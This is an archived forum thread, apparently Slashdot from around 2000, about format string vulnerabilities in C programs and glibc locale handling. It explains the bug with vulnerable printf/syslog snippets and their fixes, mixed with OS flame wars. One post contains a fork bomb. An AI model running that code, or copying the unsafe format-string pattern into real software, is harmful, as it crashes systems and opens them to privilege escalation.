Nope. Completely different kind of beast. From what I can tell, this article's talking about printing a string to the screen (I think that's it...) that contains certant control characters that run programs. It sounds like an author misinterpreting the facts to me too, but it could be a real problem. I don't know enough about the code involved.

-RickHunter

New class of vulnerabilities? Bah, humbug

[John Marshall]

From Core SDI's advisory:

printf(gettext("usage: %s filename\n"),argv[0]);
[...]
Here the output of the gettext(3) function is not validated and passed directly to printf(3).

Sounds worrying (and we've known about such problems for ages), but

A malicious, unprivileged, user can build and install a bogus messages database and instruct the vulnerable program to use it, thus controlling the output of gettext() and force-feeding formatting characters to printf(3).

Surely the real vulnerability here is that the environment has been set up such that an unprivileged user can instruct a setuid program to use an arbitrary unvetted control file?

Re:Evils of Linux

[Tony]

Windows Good.
This premise is based on the fact that the Microsoft coders are paid good money to play by the rules and code efficiently and securely, whatever the cost in time and headaches. Hence, the higher overall quality of Windows programs coded in C/C++.

Uhm....

Which alternate reality are you from?

Ever tried to install a M$ patch ?

[RedLaggedTeut]

From my own experience, it is not possible, or say, not easy, to install M$ security patches if you have other plugins/security tools installed for the program that needs patching.

What is the worst thing is you don't even get say, a compiler warning or error message, programs just close down.

New Design for the OS

[Yudit]

I wonder if it is the ploblem of the programmer or the OS. Is it not possible rewrite the structure of the OS so that the data and the program is seperate? It should make a segmentation violation if you would write to a runnable area.

None of the benign programs intend to rewrite themselves anyway, so programs need not change and still fix buffer overflow vulnerability.

Re:Just be carefull when you *printf()

[Broccolist]

If C was designed to make more sense, that wouldn't really be a problem. if(string == "literal") is a perfectly valid construct and works the way you want it to in C++ (with the string class) and Java.

That said, it's true that sloppy programmers are also a big problem.

Re:Intersteing quote

[Pflipp]

Tell me, what makes this glibc specific?

Cause I guess it is "normal" c behaviour to accept printf (foo); , whatever foo is? And how can you make sure, from a library, whether or not foo has evil intentions?

Then again... if you guys get an error message instead of a core dump on badly formatted strings, I might consider to move to BSD... So often I thought that %d[ecimal] was %n[umber], and my proggies crashed of it!

It's... It's...

Re:Taint mode solves this problem

[slashdot-me]

74LS000 you say? Honey, send the children to the other room, I feel a spelling flame coming on.

Ob TTL:
Yeah, TTL seems to be pretty much bug free. The only thing I can think of is the 74C74 flipflop which has a slightly different truth table than other 74xx74 chips. Also, the 7490 power pins piss me off every time.

Ryan

At A Loss

[VB]

Maybe my mind isn't working today, (again), but, I don't understand how this exploit could be used..... You're firewalled, right? You don't give shell access to your machine, anyway. You don't have anyone else developing content on your web-server. FTP is patched against format string vulnerabilities. You don't enable NLS. You don't run daemons as root, except for the firewalled ones....

Anyone know how this can be exploited from a foreign non-trusted host?

I'd love to see some examples.


Linux rocks!!! www.dedserius.com

Re:At A Loss

[clare-ents]

I think the worry is that it turns any arbitrary

obtain a remote shell account exploit into a

obtain a remote root shell account exploit.

It's a breach between two of the internal layers of security, it doesn't make it more likely for people to get in but makes it more damaging if they do.

Re:At A Loss

[Anonymous Coward]

what's your ip?

Re:Taint mode solves this problem

[stevey]

Perl's 'taint mode' solves this problem very well

But only if you're running the latest Perl - otherwise you're wide open to a lovely exploit which gives instant root access:

Go Here for details ...

Steve
---

Re:Not OpenBSD!

[drinkypoo]

I'm willing to believe that, though, but what I am not willing to believe, is that OpenBSD for instance also checks out MySQL (an external program, I believe?) for you.

That is correct - Only the things that are part of the CURRENT distribution are necessarily checked. This does not include things in the ports collection.

However, the libraries in OpenBSD have been checked line by line, which means that many programs which will be vulnerable on other operating systems are not vulnerable on OpenBSD.

FreeBSD is, of course, also beginning to go through this type of review. It has borne fruit.

Re:This is a really old trick

[Pflipp]

doh. The format bug only causes crashes (I still didn't find out how that should leave you "root"...?) Running "del *.*" on keypress sounds much more efficient and sophisticated to me!

I mean, c'mon, never seen a core dump? It usually doesn't take me that much nastiness :-)

It's... It's...

Re:Another breach. Cause? Lazy Linux coders.

[RedLaggedTeut]

Obviously you have no clue why Linux stuff comes as source files, not as precompiled binaries. See, Linux runs on all kind of processors, not just on your new PIII or K-whatever which are x86 compatible. Precompiled binaries don't run there.
Maybe you should look into a career as a M$ accountant ?

Why should /. upgrade it's hardware when it isn't forced to use m$ bloatware which forces this ? That my line does just happen not to be hype - Did you read how Intel was looking for applications/developers that required their new faster processors ?

Computer Security is an Arms Race

[pbryan]

A "security" war is an ongoing war -- an arms race. It is continuous race between those who want to exploit systems and those who want to protect them. This concept seems foreign to many, but especially government.

In the case of CSS and DeCSS, the same concept holds true: your security system, if it remains static will be cracked. Do you choose to: a) give up, b) escalate the arms race, or c) go running to congress to create all kinds of crazy laws?

Crackers and script kiddies will love for you to give up and surrender. They want systems they can easily exploit for their own selfish purposes. They don't want those pesky system administrators to close holes.

Crackers don't take prisoners when you surrender. They won't be merciful. They'll exploit every system you leave exposed, it's just a matter of time. The only protection you have is the constant, unending treadmill of system security auditing, monitoring bugtraqs, patching exploits, and praying you've covered all your bases.

Re:Just be carefull when you *printf()

[stoked]

This reminds me of code I wrote as a youngster when I assumed it was possible to if( string == "hello" )

I know better now (!strcmp). Makes me wonder how much code we use everyday which might not have been coded by careful programmers? Lots of projects are created to let the author *learn* how to code something new.

Don't forget telnet

[BlowCat]

Telnet protocol can transfer environment variables.
Ever wondered how a remote xterm finds the way to your display?

Re:Don't forget telnet

[docwhat]

Hmmm....you'd have to be able to put a catalog in a known location....yeah, I could see it. I hadn't thought of that.

Ciao!

Re:Hmmm...

[emerson]

You're not following Bugtraq closely enough then.

http://archives.ne ohapsis.com/archives/bugtraq/2000-08/0457.html describes a format string vulnerability (and sample exploit code) in the locale system of most Unixes; OpenBSD appears not to be vulnerable, and FreeBSD is not remotely exploitable, but all other major Unixes appear to be vulnerable.

This isn't FUD; the article is pretty dead-on.


--

It has been

[Dungeon Dweller]

It has been, hundreds of times, people just keep writing utilities with security flaws. That's life, then, you patch the hole and get on with life. These holes are potentially in all C/C++ programs, and even programs in other languages. A little overflow here, a little backspace character there, and you've royally screwed with the mind of the given program.

Re:OT: KDE in Debian

[Hooha Man]

in case you didn't find it again:
http://slashdot.org/comments.pl?sid=00/09/07/18462 03
[still not visible anywhere.]

<O O&gt
( \/ )
X X

OT:That's cuz Slashdot is seriously SUCKING.

[update()]

If it makes you feel better, most of these were posted. You were just one of 10,000 people who wrote in with the stories like the Gnome Foundation. And the Stile Project thing was a hoax, anyway, wasn't it?

Now, if you want to hear some whining, check out this story. I submitted the same thing two years before and had it rejected. Then I submitted it again when a patent was awarded for the algorithm. At that point, I figured if Slashdot was rejecting a story about the patenting of a censorware algorithm (!), they must really be uninterested. Then this story appears about three months later.

---------

Re:Well..

[jon_c]

I'm not expert on the matter, and could be very wronge. That being said, the basic concept is to overrun a buffer to get to the IP (instruction pointer). Once you have the this cursor of execution you can tell it to jump to some code you stuck in memory, via the overflow.

there is a MUCH better explaination (and tutorial on this) by mudge of l0pht.com. One niffty trick i remember from the tutorial was a program that skipped over a line of it's own code. the program had two printf()'s, one of them never got executed because the IP was captured and increamented, therefore skipping a line of execution.

One of the major problem with a buffer over flow attack is that it's very depenedant on the flavor of OS and application you are overflowing. even if you have an exploit for a buffer overflow in say wuftp, is won't work on anything but the exact build, and OS setup it was designed for. because the offset for the IP will be different.

or something like that :)

-Jon

Re:Similar exploit in a popular IRC client.

[stevey]

Is there a reasonable article around on this which explains more about the problem and it's concepts as well as how proper and careful coding can avoid it? :/

The best introduction is Pascal Bourchariene's original paper on writing Format exploits .. its probably available all over the web .. theres a copy here, for example.

This paper is to format string bugs what Aleph One's "Smashing the stack for fun and profit" is to buffer overflows.

Steve
---

Bias, Microsoft and General Bullshit.

[jon_c]

I'm going to dump all my karma in the can for this.

But the general responses to this artical are of the nature that "CNet is stupid" (even though it's not for geeks) and "It's a problem, and we should try to fix it". If you simply change the headline to .. "Windows Open To Format String Attacks". I imagine the response would be a slew of crude comments, and downright flames about microsoft incompitance.

The interesting thing is that this "flavor" of expliot has a lot of things in common with the outlook attack of a few moons ago..

Both are more or less a problem hard to fix because it is based of a powerfull feature. The fact that Outlook can execute script within the e-mail is really pretty darn cool. The fact that developers can make applications more maintainable and portable with functions like vsprintf() is a good feature.

Closed source OS's are much less vunurable simply because you don't know where those vsprinfs() are, makeing is darn near impossible to expliot. *nix wasn't vunurable to the Outlook expliot, well.. because it doesn't run Outlook.

Recently I've seen a much more rational look at the whole MS vs. *Nix thing. in a recent Win2k vs. Linux debate many people we're modded up exressing how they belived that Win2k is a fine OS that should get more respect that is has received. Hopefully the next time around people here can be a little less one sidded with these things.

but i know that's not going to happen.

-Jon

Re:puts(string);

[ucblockhead]

Ermm....he said "many years ago"....

Damn kids, not realizing that there was a day when we didn't have new fangled things like dynamic libraries, and when saving a couple K by keeping printf() from being linked was a real big deal.

Re:Format Strings 101 (fixed)

[Kinlan]

why doesn't anyone use \0 at the end of there strcpy's for fixed length strings etc...
-

Re:Evils of Linux

[Schubert]

Its 2:30am and I'm wondering wtf I'm replying to this....

"This premise is based on the fact that the Microsoft coders are paid good money to play by the rules and code efficiently and securely, whatever the cost in time and headaches. Hence, the higher overall quality of Windows programs coded in C/C++."

Fallacy. What supporting evidence proves that paying good money == good code? Where do you prove (even inductively) that MS coders (or ANY non-OSS coders) play by the rules, code efficently and securely... you _can't_ if you _CAN NOT_ see the code, you can't prove this. And that is a hasty generalization to end with, claiming "Windows programs" are higher quality... all windows programs? Yikes. Please people, don't defend Microsoft like this, it only makes you look dumber. Don't defend any commercial software with these arguements. ... and on that note, don't defend any OSS software with the converse of this.

"Okay this premise IS due to the fact that Linux is free. Because of this, the Linux coders have little time to code, and so they do a slapdash job and label it "Beta 1." All they really want is for their creation to work, not necessarily to work well. Hell, they don't care if the program doesn't even do what it was designed for, they only go back to the drawing board if it crashes (Case in point: GNOME and the Linux kernels above 2.4.XX)."

FUD. And why exclude all OSS coders (you wouldn't claim BSD coders, who code also for apps and such things that run under linux, solaris, schubertnix etc) put in that same poor effort.. and uh.. where, why and how are you proving this? are you a Linux developer? How else would you know they have this mentality? or is this your personal opinion, which seems incredibly edumacated and researched here. GNOME and Linux 2.4.x, uhm.. those are NOT listed as stable, they are not ment to be stable... have you ever heard of BETA software? yeah you know sometimes software has to be tested before it can be released.

"The same rules apply here; the more funding, the better the chance of stability/function relevance."

OpenBSD. nuff said. I'm running it on 3 or my 5 personal machines. If you are claiming that NT is more stable/secure etc because it has more money.. well.. your logic doesn't quite work, methinks your common sense got disconnected with your thought process cause you've drifted off to clueless land.

Re:Your example is wrong.

[lamontg]

The example isn't wrong, but perhaps a little confusing. I'm not exploiting the sprintf(), I'm exploiting the call to syslog() which also uses format strings.

And really the best way to avoid these bugs is to avoid using anything other than fixed format strings. One way the bug occurs is (building on my previous example):

mysyslog(char *foo) {
syslog(LOG_DEBUG, foo);
}

(Obviously this is an example and mysyslog() in the real world probably does a few other things that the programmer always wanted to do when syslogging). Then the programer calls:

mysyslog("foobar");

All over the place and is fine until they start getting tricky and constructing error messages like:

sprintf(buffer, "error message: %s", foo);
mysyslog(buffer);

Which looks perfect reasonable, but of course is exploitable if foo is user-supplied. The fix is that mysyslog() needs to be rewritten to look like:

mysyslog(char *foo) {
syslog(LOG_DEBUG, "%s", foo);
}

Hole closed.

Re:Unix specific? Yes and no.

[Forgotten]

This post was written by a hack with just enough understanding of the MacOS and AppleScript to screw it up.

(grin) I'll certainly plead to the AppleScript part - just enough knowledge to make a mess of my own scripts. As for the Mac OS, however, I wasn't referring to the remote scripting mechanism or to Program Linking, and I should have been more clear. The problem is that applications can themselves originate AppleEvents, and if a web browser or server (say) can be compromised and includes AppleScript invocation as a feature of its own internal scripability, you can compromise the entire OS and not just that one application - it breaks out of its sandbox. I do think this is very comparable to the effects of the system(2) call in Unix.

Additionally, saying that AppleScript is comparable to the Bourne shell is a crock of shit. For better or worse, the Bourne shell has far more power than AppleScript does. AppleScript is more along the lines of TCL than a shell.

Applescript is comparable to the Bourne shell because like the shell, it gains its strength from the other mechanisms it can invoke. Applescript can be used to create processes and to direct those processes in any arbitrary activity they include in their dictionary - its abilities are open-ended. It's also stronger in terms of what can be done internally by the language itself (the Bourne shell is actually pretty damn weak on its own, even simple math is out of the question). But the real issue here is the ability to invoke other processes external to itself. Hope that clarifies my comment somewhat.

Exploits?

[bkeeler]

I don't understand this. I've read the Bugtrak article, and it doesn't make sense.

OK, so you can make printf use an arbitary format string. printf will then read bits of the stack that it shouldn't. But I can't think on any circumstances when printf actually writes to memory, ever. So how can you install your code to be executed, ala typical buffer overruns?

So an evil person can make the eject command print garbage and seg fault. Yay. So what? Where's the root prompt?

Re:puts(string);

[Sloppy]

MS-DOS couldn't do that.
---

Re: Wait, it's both!

[docwhat]

If it's BugTraq ID 1634 then it's passing format strings into a localized program (using gettext and cousins) via specifying your own translation catalog.

I'm not an expert in security, but the first 10 posts posted inaccurate information, so I thought I'd add my 2 cents.

Yeah, that must be the BugTraq item, as it's credited to Ivan Arce of CORE SDI.

Ciao!

Talk about major misinformation

[segmond]

Bahahahahahaha

//QUOTE
These "format string" vulnerabilities started surfacing about two months ago, said Elias Levy, a moderator of the Bugtraq computer security mailing list. Some of them have lurked for years in basic Unix programs, but security experts only now have begun to find and fix them.

To take advantage of a format string vulnerability, an attacker gets a computer to display a string of text characters with formatting commands. By carefully manipulating the formatting commands, the attacker can trick the computer into running a program.

"Format string bugs are the new trend in computer security vulnerabilities," said Ivan Arce, president of Argentinian security company Core SDI and discoverer of the "locale" format string vulnerability that became public last Friday. "

//QUOTE ENDS

This is so F sad, cuz this is as old as UNIX, ie,
gets(foo);
sprintf(...);
system(foo);

This was exploited in late 70's and 80's, lol, my first penetration of a box to use gopher! was using this in early 90's. anyway, talk about misinformation.

It is an unfair fight

[bockman]

On this side of the wire, you have a dumb computer, equipped with often half-cooked instuctions on how to behave (programs)

On the other side of the wire you have the rest of the world, which the computer knows only via some electric signal sent through the wire.

On which one would you like to bet?

WTF

[Valar]

Personally, I've never had a daemon give me:

segmentation fault(core dumped)
root@localhost root> ,

so it doesn't seem to me that this happens often, and even then, what kind of admin installs daemons without testing them thoroughly?

Re:WTF

[mangino]

This is not an accidental thing. It takes a lot of work to get a root prompt. Essentially, you can make the daemon run code (such as /bin/sh) as the user it is currently running under.
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com

Re:This is a really old trick

[nd]

That's known as an ANSI bomb, and is really unrelated.

Ansi bombs died out pretty quickly though, because the BBS scene seized to mess with ANSI.SYS (doors, bbs softwares all had their own ansi parsers, and clones like ansi.com were released without the key-stuff/remapping support)

Re:Computer security is a myth

[kramerj]

It took commands from IRC, which was an idea that no one had thought of before Hahahah... that is funny! Ever hear of Eggdrop? There have been flood scripts for this irc bot for ages, and you can network them together in a botnet so they all talk together, and then you can make them all do the same thing, and then send them commands via IRC. They have TCL/TK scripting, and a lot of other goodies. Its been around for a LONG time, and I am sure since I have gotten out of the hacking scene, there are others. Have any of these gotten high-profile news articles written about them? NO, they are too common in most cases, as normal irc bots. Jay (just because the news thinks its the first time something has happened, does not make it true.)

Format strings 101

[lamontg]

The problem comes about when you accept user input and then send it to vsprintf(), setproctitle(), syslog() or similar C programs that accept format strings. The seemingly innocuous code usually looks something like this:

char buffer[1024];
[...]
sprintf(buffer, "some message: %s", hostile_user_input);
syslog(LOG_DEBUG, buffer);
Now an attacker can shove a string into the hostile_user_input variable like "%s%s%s%s" which will then be passed to syslog which whill execute:

syslog(LOG_DEBUG, "some message: %s%s%s%s"); Clever construction of the hostile format string will lead to an exploit.

Re:Well then....

[Ross C. Brackett]

Ha. People say "why is Linux more popular than OpenBSD" (or FreeBSD for that matter). The fact that the kernel coding process for Linux is more seat-of-your-pants means more features/faster development cycle. And more features/faster development cycle means wider acceptance. As I see it, Linux's development strategy is similar to Microsoft's, it's just that quality is given a higher priority than UI integration.

And besides, the problem is userspace apps such as daemons. If anyone should be doing a review, it should be individual distributions. Of course Lin distributions tend to promote and exploit Linux's up-to-dateness rather than its stableness, so you're out of luck there too.

Just thought I'd destroy your arguments.

Ross

Re:Can somebody explain?

[BearCubSF]

The general class of "format string" security holes relate to improper treatment of the format string passed to the *printf() family of library routines. The most common form of this that I've seen is when somebody does something like this:

char *buff;
char *output;
...
[some code that sets buff through some
user-supplied data, such as an entry to
a prompt, environment variable, etc.]
...
sprintf(output, buff);

The user then supplies one or more formating sequences of his own into 'buff', and the *printf() functions then go looking for additional arguments.

That sprintf() call should really be this:

sprintf(output, "%s", buff);

Depending on where this happens, what can be placed into 'buff', and a slew of other factors, this can result in many outcomes, including nothing at all, a core dump, buffer overflow, display of "hidden/protected" information, or even root access.

Oh, and contrary to what the C|Net article says, this did not just start being exploited a couple of months ago, although there has been a decided increase in this over the last few months. For example, there was a problem in the qpopper POP3 software from Qualcomm that allowed easy root access via a missing "%s" format string, and that's well over a year old.

Then again, C|Net -usually- gets the technical details of such issues wrong, or at least seriously distorted. They also tend to go for the "omigawd!" reaction in their writing, blowing some things out of proportion. When/if I read them, I always do so through the reality filter that takes that into account...

Re:Evils of Linux

[wbav]

Okay, let us analyze your statement.

Windows Good.
This premise is based on the fact that you have to pay for Windows. Unfortunately Windows is very unsecure, and open to attacks, especially through netbios.

Linux Bad.
Okay this premise must be on the fact that Linux is free. Well if that is true, what about web browsers. How much did you pay for IE or Netscape? I'm guessing not much, if you paid for it at all.

Finally, what about other platforms?
Just because they are not Microsoft, they should be ignored?

Anyways, getting back to the string problem, yes it appears that Linux is vulnerable to this, but so is dos/windows or even other platforms. Be careful making generalizations, it shows that an assumption hasn't been thought through.

Call me stupid, but...

[Mdog]

What difference does it make if you call printf("%s", string) instead of printf(string)?

not 31337 afterall,

Mike

Re:Call me stupid, but...

[KnightStalker]

If the string in question comes from an outside source, it can contain % commands which, because the appropriate variables weren't passed to printf, can cause your program to dump core or jump to a predictable location. This is known as a buffer overflow...

Re:Call me stupid, but...

[platos_beard]

Hey Stupid (well, you asked for it),

printf will interpret codes like "%s" in the first parameter only as placeholders for additional parameters. By hardcoding the first parameter, you can make sure that no unexpected codes are processed.

puts(string);

[Sloppy]

Hah ha! I remember many years ago when I had someone else's code and I wanted to make the executable smaller, so I went through the program changing all the printf() into puts(). (The program wasn't doing any formatting at all.) That way, printf didn't get linked in. That was a lot of code, since printf has to handle so many types (including floating point) so the float libraries got linked in, etc...

Nowdays, I'm more of the "aw, just buy another 256MB of RAM" mentality, though. I guess my old 3.5k VIC-20 influences have finally worn off.

---

Re:puts(string);

[sconeu]

And we had to walk 15 miles in the freezing snow just to get to a computer. Uphill! Both ways!

Seriously though, I'm with you. I prefer puts()/fputs() to printf() for unformatted output. It's smaller and faster. I remember trying to shoehorn 130K of executable into 128K RAM on a proprietary box... You wouldn't believe how we did it... Turns out we had a lot of repeated static string data, so routines like

void print_this() { print("this"); }

(note, it wasn't C, but an interpreted display code) saved about 4K in fixed string space!

Re:Computer security is a myth

[ravi_n]

This is exactly the conclusion Bruce Schneier reached while writing Secrets & Lies. His eventual response (in full here) was that security is not about preventing all attacks (which is a hopeless and impossible goal), but rather about managing the risk of an attack. Just because you can't prevent every possible attack on your computer doesn't mean it isn't worth some effort to lower the risk of an attack (or to lower the probability that an attack will cause damage).

Re:Thankfully my W2K box is safe from this...

[TWX_the_Linux_Zealot]

yeah, only 1263 exploits will work instead of 1264...

Re:Taint mode solves this problem

[Omnifarious]

Actually, no it doesn't. I have a suspicion the problem doesn't happen in perl for other reasons, but it's taint mode is no help in this case.

If I'm not mistaken, perl uses the stuff in the underlying locale environment variables implicitly, and doesn't carefully check them. If you use environment variables directly in your program, they may be 'tainted' though I'm not sure, but I bet the underlying locale system uses them without checking at all.

Re:Taint mode solves this problem

[Ed Avis]

The tainting mode _forces_ you to check things. And you don't have to 'look for' formatting strings. That's the wrong approach - you should have a criterion for allowing things through, not one for weeding things out. For example, have a regex listing all the characters you know for sure will not cause a problem. There might be a couple of harmless characters you've forgotten, causing the program to reject input unnecessarily, but that's better than trying to list all the 'bad' characters and forgetting a couple (as you surely will at some point).

Re:Hmmm...

[Kailden]

I was under the impression that gcc calls gas as one step of its execution. IIRC, you can run each stage of compilation separately, ie preprocess, translate to assembly, gas, link. Then Again, maybe this is just leftover fluff from reading sys arch book at 2:00 in the morning.

Re:Can somebody explain?

[devjoe]

He said "as if he were a 6 year old", and most 6 year olds I know don't understand C.

So, 6 year old's version:

What printf is
In the C programming language, one of the most common ways for displaying text is the printf function. When printf is used, it is given a string (a list of characters -- a bit of text, essentially) and optionally, some other variables that may contain various types of data. Printf then prints the string, modified by replacing certain special codes with formatted versions of the other variables. (Because the codes control how the other data is formatted, that first string is sometimes called the format string.)

These format codes always start with the % character; %% is replaced by a single % character in the output, while % followed by various other characters is replaced by one of the other variables, formatted as defined by one or more of the characters after the %. The simplest of these formatting codes is %s which means "the variable is another string; print it here just as-is".

There are also some variants of printf such as sprintf which do very similar things, and suffer from the same problems. Also, some programs written in other languages than C may be able to call C's printf function, so it's not necessarily limited to programs written in C.

The problem
If printf is called with more format codes in the format string that there are additional variables supplied to the function, then printf will grab some other data in memory to use as the additional variable, perhaps the next instruction that was supposed to be executed after printf. The result is that some garbage data is printed, and an instruction in the program is skipped. The result may pass unnoticed except for the weird output, but more likely, the program will do something other than it was supposed to do, and after a while, probably crash.

If a user can control what data is in the format string, he can stick in format codes the program does not expect, and thus make programs crash that run fine as long as no % characters appear in their input. A skilled hacker with detailed knowledge of the workings of a program may be able to give it input that causes it to execute, as the next instruction, some piece of data which he has fed into the program elsewhere, and thereby make the program do some specific thing he wants it to do, and which the program was not designed to do.

Setuid programs are UNIX programs that run with special privileges. These programs may be able to read or modify files that the user running them would ordinarily not be allowed to access. If a setuid program suffers from this problem, a skilled hacker may be able to use it to execute any code he wants with the program's privileges.

The Solution
You've seen this already as C code, since about a fourth of all the messages for this story consist of nothing but the answer. The problem occurs when the format string to printf is user-provided data; this most often happens when printf is used to simply print a string without doing any formatting, or in some situations involving the locale form of internationalization (see below). The cure to these problems is to never use a string containing user data as the format string for printf. Instead, use "%s" as the format string, and give the string of user data as the next variable. Thus, printf("%s",user_data) rather than printf(user_data).

However, there are many places this bug can occur, and another possible way of reducing preventing this problem with respect to locale data is to have the locale library check whether it is running with special privileges, and when it is, to ignore user-supplied locale databases. (See below.)

Locale
Locale is a system used widely on UNIX systems for making programs friendly to people who speak different languages. The way this works is that the user sets a setting which specifies his locale. This is close to simply specifying his language, but a locale can be more specific than this. A user might specify a UK locale to have his programs use "colour" instead of "color" and "full stop" instead of "period".

The way this works is that programs that support locales pass all their error/status messages through a function which searches the user's chosen locale database for that string. If it finds it, it returns the corresponding string localized for that user; otherwise, it just returns the original string.

Users can also create custom locale databases, and use some additional settings to allow programs to find them. For instance, a user who prefers to think of his directories as "folders" could specify a "folder" locale which only changed "directory" to "folder" and left all other program output unchanged. The problem is that users can create locales which contain extra formatting codes in the "localized" strings. If programs use local strings as format strings to printf, the problems described above can occur.

Re:Intersteing quote

[ryanr]

The print formatting problem in general isn't glibc specific; the article is about print formatting problems in glibc itself (locale handling.) That's why the article says FreddBSD and OpenBSD aren't affected, because they didn't have the glibc locale problems.

Re:Just be carefull when you *printf()

[Steeltoe]

Except that the Java-"solution" is an arcane ugly hack. It compares the object-numbers (pointers), as all Java-objects do, not the internal strings. You'll have to use this in order to always achieve what you want:

s1.intern() == s2.intern()

or:

s1.equals(s2).

Admittedly, I don't program Java because of issues like this. Currently, I fancy C++ with STL (for creating new systems/languages). So, here's a shameless plug from the 1.2-specification to explain things further:

package testPackage;

class Test {

public static void main(String[] args) {

String hello = "Hello", lo = "lo";

System.out.print((hello == "Hello") + " ");

System.out.print((Other.hello == hello) + " ");

System.out.print((other.Other.hello == hello) + " ");

System.out.print((hello == ("Hel"+"lo")) + " ");

System.out.print((hello == ("Hel"+lo)) + " ");

System.out.println(hello == ("Hel"+lo).intern());

}

}

class Other { static String hello = "Hello"; }

and the compilation unit:

package other;

public class Other { static String hello = "Hello"; }

produces the output:

true true true true false true

This example illustrates six points:

* Literal strings within the same class (8) in the same package (7) represent references to the same String object (4.3.1).

* Literal strings within different classes in the same package represent references to the same String object.

* Literal strings within different classes in different packages likewise represent references to the same String object.

* Strings computed by constant expressions (15.27) are computed at compile time and then treated as if they were literals.

* Strings computed at run time are newly created and therefore distinct.

* The result of explicitly interning a computed string is the same string as any pre-existing literal string with the same contents.

The fifth point is what breaks Java-platform/VM independence IMHO. What if an optimizer optimizes something like that out of run-time? You'll get different results Note though, I'm not sure what restrictions lies in the specifications of a Java-VM. This MAY not be an issue, but it sure is UGLY. It inhibits features you cannot express in the language itself.

So you can't escape pointer issues with Java either it seems. They've implemented a castrated pointertype retaining many of the old problems, for the sake of optimization. This is of course no surprise, it's an easy language to make something quick in, but it's far off from being a good language for what it's supposed to fix.

You can find more on: http://java.sun.com/docs/ books/jls/html/3.doc.html

Regards,

- Steeltoe

Re:Well then....

[fatphil]

You've far from destroyed his arguments. From my viewpoint, anyway, for I agree with you, but I agree with him too...
If anything you've reinforced his arguments. You've higlighted that the development cycle speed may be a cause for these kinds of oversights. You only seem to differ on the position of responsibility (are you a manger?). The review process could be done in at least two places; both in ideal world. By the developers, firstly, and then you are right, by the distributions. When I download an RPM from redhat, I want that to mean that there is an assurance that what they are distributing doesn't have any silly bugs in it (that includes accepting the first parameter to a variadic stream function from an external source without validating the string's contents). However, the original authors are fundamentally responsible for putting the naive code in there in the first place.
Now given the open source model, everyone can contribute to the source - you, me and Anonymous Coward. If there's something you wish to use, grab the source, and do some linting before you build it. If you find anything wierd, try to break it, if it breaks, try to fix it. Whatever you do, tell the development team too about it, if only so that when there's a later exploit you can point the finger and say "I told you so" smugly, if you're the kind of person who enjoys that kind of thing.

The stupid thing about all this is that all these problems can be statically detected by linting, and detected at runtime using special debugging versions of the library functions. (i.e. you can know how many parameters there are, and whether you are possibly passing a tainted string, and whether the number of parameters is correct, and whether the parameters being claimed to be pointers do point within heap space or stack space, and if they are in stack space whether they are actually part of a stack frame.) Has nobody ever heard of Purify, etc.?

Finally, Debian focusses on quality more than speed (and refuses to play infantile version-number games with the other disties), so your criticism should only be applied to Slackware, Mandrake, Redhat and SuSe, et al.

FatPhil

User of, in order over the last 4 years, Slackware (4.2 was OK, but I wanted more from my OS), Redhat (buggy, but still in use), SuSe (mind-blowingly fucked), Debian (only 10% sucky, easily the best Linux).

or not...

[wdf]

#include

main
{
while (1)
{
fork();
}
}

Re:/. == C|Net + NYTimes + CNN + ....

[Alrescha]

I agree that discussions are something that /. has that the New York Times does not. On the other hand there must also be a 'News' component of 'News for Nerds'.

Certainly, /.'s value is what it has that other web sites don't. True 'news' is an important piece of the puzzle.

A.

Re:Hmmm...

[gibson_81]

OK, I've read the cnet article, I'm _not_ subscribing to bugtraq or anything similar, but my guess as a C programmer is as follows:
Buffer overflows work by sending more data than expected to a function than it expects, which can (if you do it correct) let you decide what adress the program should jump to when it leaves the function.
The obvious way this would work in, for example, an error report stating the name of the program, the name of the function, and a short description of the error. That is 3 string variables that should be printed. If the attacker is able to send any format string he likes, he can make printf use only two of those strings - the adress of the third string will then be pulled off the stack into the PC, and program execution will resume at the beginning of the third string.
Since the attacker was able to change the format string, he will probably be able to change that string as well.
In a sensible (or paranoid) system, this would not be a problem - the strings would reside in a data segment, and the program would segfault when it tried to resume execution there. I assume this vulnerability comes from the program being allowed to execute instructions in the data area, just as the buffer overflow problems arise from storing the stack in executable pages.
I know that gas (GNU assembler) stores constant data together with the program code. Guess that makes it difficult to separate them when they are loaded into memory ...
I know there are holes in this (for example, the strings are supposed to be write-protected - not even supervisor processes should be allowed to write to them without segfaulting), but perhaps someone who knows more can fill them in.
Anyway, this is (in my view) not so distant from buffer overflows.

Translation:

[supabeast!]

I have used my fish to translate this from the language of reactionary journalists to something an intelligent person will understand:
/translator on
1: Some *NIX based OSs are open to format string attacks that may allow malicious users to gain root level access.

2: This does not mean that *NIX is less secure than Windows, because these attacks require far more intelligence than it takes to crack a Windows box, as well as requiring the cracker to be able to access the system to begin with (In most cases.).

3: This is actually an old thing that has been around forever, and as usual, nobody other than the BSD folks bothered to fix it, just like the dozens of other security holes in various OSs that vendors have never bothered to fix. As the media, however, we must pretend that this is a big new thing and draw as much attention to it as usual, because:
I - Our parent company depends on advertising from Microsoft for a large portion of its revenue base.
II - We aren't actually capable journalists, and this reactionary crap is the best we can do.
/translation off

I would really love it if the /. people would add a disclaimer whenever they link to CNET, CNN, Yahoo!, and ZDNET stating that the work of said companies is biased, reactionary TRASH.

Re:Computer security is a myth

[Xerithane]

First off, I don't intend this to be a flame by any means.
Please.. learn about computer security and the history before you beg to not fight it anymore. If that's the case, you can give up, change your root password to 'a' (assuming you run *nix)
As for myself, I enjoy securing my box and watching people try to break in. All my data is backed up and because I do open source work they have nothing to steal.
Don't volunteer to quit something you obviously are not a part of.
What are you talking about a recent innovative way to do bad things over IRC? I remember a long time ago having fun with trojan IRC scripts and other faults in clients that allowed you to cause people to disconnect and things along those lines. None of this is new. All of these exploits are based off of old faults. They are getting fixed (however slowly) and soon we will have out-of-the-box security, no it wont stop everyone. But it will stop the script kiddies that can only run other peoples programs to attack other peoples computer.
But, no, instead we throw money at a vain battle to keep our computers safe. A few words, shut the hell up. When you become a competent security consultant then say that money is being thrown to no avail. Security is an option, but it does take two things, competency and patience. You have to have patience to find and fix new problems, and the competency to do it.
It's not a war, at least not against the script kiddies. It's called evolution, and survival of the fitest. When your computer get broken into next, I hope you don't turn it back on and donate it to someone who takes better care of it.

nerdfarm.org

Re:Just be carefull when you *printf()

[artdodge]

This doesn't really address the problem... there are times when you want a limited set of formatting strings to be in a user-input string. The LOCALE stuff is just the best example of this. PScan would flag "hey, you're using user input for a format string!" (which is what we want/need to do), and gcc only validates against strings that are known at compile-time (certainly not the case here), so neither of these is particularly useful in this case.

